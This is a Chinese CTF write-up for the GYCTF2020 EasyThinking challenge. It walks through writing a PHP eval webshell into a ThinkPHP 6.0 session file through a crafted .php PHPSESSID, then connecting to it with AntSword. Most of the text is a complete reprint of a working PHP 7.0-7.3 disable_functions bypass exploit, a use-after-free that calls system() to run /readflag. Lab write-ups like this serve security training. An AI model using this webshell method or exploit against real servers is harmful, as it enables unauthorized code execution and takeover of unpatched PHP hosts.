[GYCTF2020]EasyThinking

[GYCTF2020]EasyThinking

首先注册，发现可以注册admin账号，登陆后使用搜索功能。发现搜索结果会被记录且最多三条，猜测可能存在数据库操作，但是重新注册登录后记录仍然存在，只有修改cookie中的phpsessid才会刷新搜索记录，听此这里可能是写入了session中。根据访问一个不存在的路径回显的报错可知是一个thinkphp6.0框架的网站，搜索'thinkphp6.0 漏洞'发现了一个利用session进行任意文件创建的漏洞，和这题很相似，但是没有给出exp，大致思路是在搜索框中搜索一个一句话木马并设置phpsessid为.php后缀，这样写入session文件后就创建了一个php文件并且文件内存在一句话木马（php中session文件名格式为sess_{phpsessid}）。但是我们并不知道session文件的储存路径，默认地址是runtime/session/。我们尝试访问runtime/session/sess_2000ee6f0f029357b4edeaaadca7f5a3，成功下载sess文件，因此这里可以构造webshell。我们尝试修改phpsessid为abc.php绕后搜索内容'<?php echo phpinfo(); ?>'，响应中又给我们set-cookie了一个phpsessid，这是因此php中session是通过32位hash的方式得到的因此长度是32位，这里thinkphp对phpsessid长度进行了长度校验必须为32位，因此我们构造一个phpsessid=1234567890123456789012345678.php，进行登录，搜索'<?php echo phpinfo(); ?>'，再访问runtime/session/sess_1234567890123456789012345678.php看到出现了phpinfo()的结果。再搜索'<?php @eval($_POST['cmd']); ?>'，即可写入shell，然后用antsword连接（先用菜刀试了下连不上）。在/目录下看到一个flag文件但是读不到，可能是权限问题，看到目录下有一个readfile文件，可能要运行这个文件，尝试使用antsword进行执行但是发现任何命令都会返回ret=127。看了下wp，php7.0-7.4存在一个绕过disable_funtion的poc

<?php
 
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
# 
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
 
pwn("/readflag");
 
function pwn($cmd) {
    global $abc, $helper;
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if you get segfaults
 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
 
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
 
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
 
    exit();
}

在antsword上上传这个文件再访问就能拿到flag了。

看了下wp，www.zip可以下载源码，下次做题应该先扫描目录，但是这题好像没源码也能做。